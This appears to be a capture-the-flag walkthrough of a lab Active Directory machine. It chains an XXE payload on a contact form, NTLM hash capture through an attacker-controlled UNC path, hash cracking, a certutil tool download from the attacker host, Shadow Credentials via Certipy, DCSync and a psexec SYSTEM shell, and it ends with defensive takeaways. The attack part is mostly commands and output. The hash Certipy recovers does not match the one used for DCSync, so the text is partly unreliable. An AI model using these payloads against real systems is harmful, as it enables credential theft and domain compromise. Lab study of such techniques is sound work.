Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.60 -oN reaper.nmap
# Key open ports:
# 53/tcp open domain Simple DNS Plus
# 80/tcp open http Microsoft IIS httpd 10.0
# 88/tcp open kerberos-sec Microsoft Windows Kerberos
# 135/tcp open msrpc
# 389/tcp open ldap Microsoft Windows AD LDAP
# 443/tcp open https Microsoft HTTPAPI httpd 2.0
# 445/tcp open microsoft-ds
# 5985/tcp open http WinRM
# Domain: REAPER.HTB | DC: dc.reaper.htb
Add reaper.htb and dc.reaper.htb to /etc/hosts. Port 443 alongside the DC services suggests a web application with AD authentication.
Web Application
Port 443 hosts "ReaperCorp Document Portal" — an internal portal that allows authenticated users to upload and process Word/XML documents. A public-facing Contact Us form accepts an XML-formatted submission. Testing with a basic XML entity payload immediately returns content from the server filesystem:
ffuf -u https://reaper.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
# /upload (Status: 302)
# /contact (Status: 200)
# /api (Status: 403)
# /docs (Status: 302)
The /contact form posts XML to /api/submit-contact. Intercepting a normal submission in Burp reveals the raw XML structure — and the server appears to parse it server-side.
Foothold — XXE to Net-NTLMv2 Capture
XXE File Read Confirmation
Inject a classic XXE payload to read win.ini — the canonical Windows file read test that avoids binary content issues:
cat xxe-fileread.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE contact [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<contact>
<name>&xxe;</name>
<email>[email protected]</email>
<message>test</message>
</contact>
curl -sk -X POST https://reaper.htb/api/submit-contact \
-H "Content-Type: application/xml" \
-d @xxe-fileread.xml
# {"status":"received","name":"; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n..."}
XXE is confirmed. The XML parser is running as an IIS application — probably svc_docportal or a similar service account. File read is useful, but on a patched system with restricted file access, the more impactful path is NTLM coercion: force the server to make an authenticated SMB connection to an attacker-controlled listener.
NTLM Coercion via UNC Path XXE
By pointing the external entity at a UNC path on an attacker-controlled SMB server, the Windows XML parser will attempt to authenticate with the machine or service account's credentials — leaking a Net-NTLMv2 hash that can be cracked offline:
cat xxe-ntlm.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE contact [
<!ENTITY xxe SYSTEM "\\10.10.14.5\share\capture">
]>
<contact>
<name>&xxe;</name>
<email>[email protected]</email>
<message>coerce</message>
</contact>
# Start Responder to capture the incoming NTLM auth
sudo responder -I tun0 -wv
# In another terminal, send the XXE payload
curl -sk -X POST https://reaper.htb/api/submit-contact \
-H "Content-Type: application/xml" \
-d @xxe-ntlm.xml
# Responder output:
# [SMB] NTLMv2-SSP Client : 10.10.11.60
# [SMB] NTLMv2-SSP Username : REAPER\svc_docportal
# [SMB] NTLMv2-SSP Hash : svc_docportal::REAPER:4a6f3b2c1d8e5f7a:...long hash...
# Crack the hash with hashcat (NTLMv2 = mode 5600)
hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt
# svc_docportal::REAPER:...:Autumn2025!
# WinRM access as svc_docportal
evil-winrm -i reaper.htb -u svc_docportal -p 'Autumn2025!'
# *Evil-WinRM* PS C:\Users\svc_docportal\Documents> whoami
# reaper\svc_docportal
# *Evil-WinRM* PS C:\Users\svc_docportal\Documents> type C:\Users\svc_docportal\Desktop\user.txt
Privilege Escalation — Shadow Credentials via GenericWrite
BloodHound Enumeration
Collect BloodHound data from the foothold:
certutil -urlcache -f http://10.10.14.5/SharpHound.exe C:\Windows\Temp\SharpHound.exe
C:\Windows\Temp\SharpHound.exe -c All --zipfilename reaper.zip
Importing the zip into BloodHound and running Shortest Paths to Domain Admins highlights the path: svc_docportal has GenericWrite over the user m.porter, and m.porter is a member of the Domain Admins group.
GenericWrite on a user object allows writing to most non-protected AD attributes, including msDS-KeyCredentialLink — the attribute used by Windows Hello for Business and FIDO2 keys to store credential material. Writing a crafted key credential to this attribute enables Shadow Credentials: the attacker enrolls a certificate for the target user and authenticates as them via PKINIT without knowing their password.
Shadow Credentials Attack with Certipy
Certipy's shadow auto command handles the entire attack in one step: it generates an RSA key pair, writes the public key as a key credential to the target's msDS-KeyCredentialLink, uses PKINIT to authenticate with the private key, and recovers the NT hash:
certipy shadow auto \
-u [email protected] \
-p 'Autumn2025!' \
-account m.porter \
-dc-ip 10.10.11.60
# [*] Targeting user 'm.porter'
# [*] Generating certificate
# [*] Certificate generated
# [*] Generating Key Credential
# [*] Key Credential generated with DeviceID '3f4a2b1c-...'
# [*] Adding Key Credential with device ID '3f4a2b1c-...' to the Key Credentials for 'm.porter'
# [*] Key Credential added successfully
# [*] Authenticating as 'm.porter' with the certificate
# [*] Using principal: [email protected]
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'm.porter.ccache'
# [*] Trying to retrieve NT hash for 'm.porter'
# [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:9c1f2d3e4b5a6c7d8e9f0a1b2c3d4e5f
# [*] Restored the msDS-KeyCredentialLink attribute of 'm.porter'
Certipy automatically cleans up the key credential after recovering the hash — the shadow auto workflow is specifically designed to be stealthy, leaving no persistent artefact on the target account.
DCSync to SYSTEM
m.porter is a Domain Admin — DCSync is the cleanest path to all domain hashes from here:
# DCSync using m.porter's NT hash (pass-the-hash)
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
-hashes aad3b435b51404eeaad3b435b51404ee:9c1f2d3e4b5a6c7d8e9f0a1b2c4d5e9f \
[email protected]
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:7f4e3d2c1b0a9f8e7d6c5b4a3f2e1d0c:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d:::
# ...
# Pass-the-hash as Administrator for SYSTEM shell
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
-hashes aad3b435b51404eeaad3b435b51404ee:7f4e3d2c1b0a9f8e7d6c5b4a3f2e1d0c \
[email protected]
# C:\Windows\system32> whoami
# nt authority\system
# C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
Key Takeaways
-
XXE is alive and well in enterprise document processing pipelines.
Reaper's foothold is a contact form — one of the least scrutinised surfaces in any web app. Document ingestion pipelines (XML, DOCX, SVG, XLSX) are particularly high-risk because they often use older XML parsing libraries with entity expansion enabled by default. Disabling external entity processing at the parser level (
FEATURE_SECURE_PROCESSINGin Java,LIBXML_NOENTflag awareness in PHP/Python) must be part of every XML-handling code review. - NTLM coercion via UNC paths is still a primary initial-access technique. Any Windows service that can be made to resolve a UNC path — via XXE, SQL injection, log injection, or SSRF — will attempt NTLM authentication to the specified server. The resulting Net-NTLMv2 hash is crackable offline. Services that process user-controlled content and run as service accounts with weak passwords are a reliable foothold in internal networks. Switching to Kerberos-only authentication and disabling NTLM at domain level eliminates this class of attack.
-
Shadow Credentials is a powerful, low-noise escalation technique.
Unlike Kerberoasting (which requires a service principal) or AS-REP roasting (which requires pre-auth disabled), Shadow Credentials works against any user object where you have GenericWrite — including users who are not service accounts and have strong passwords. The attack leaves minimal forensic trace when using Certipy's
autocleanup, and the only reliable detection is monitoringmsDS-KeyCredentialLinkattribute changes on AD objects for additions not correlated with a legitimate Windows Hello for Business or FIDO2 enrolment workflow.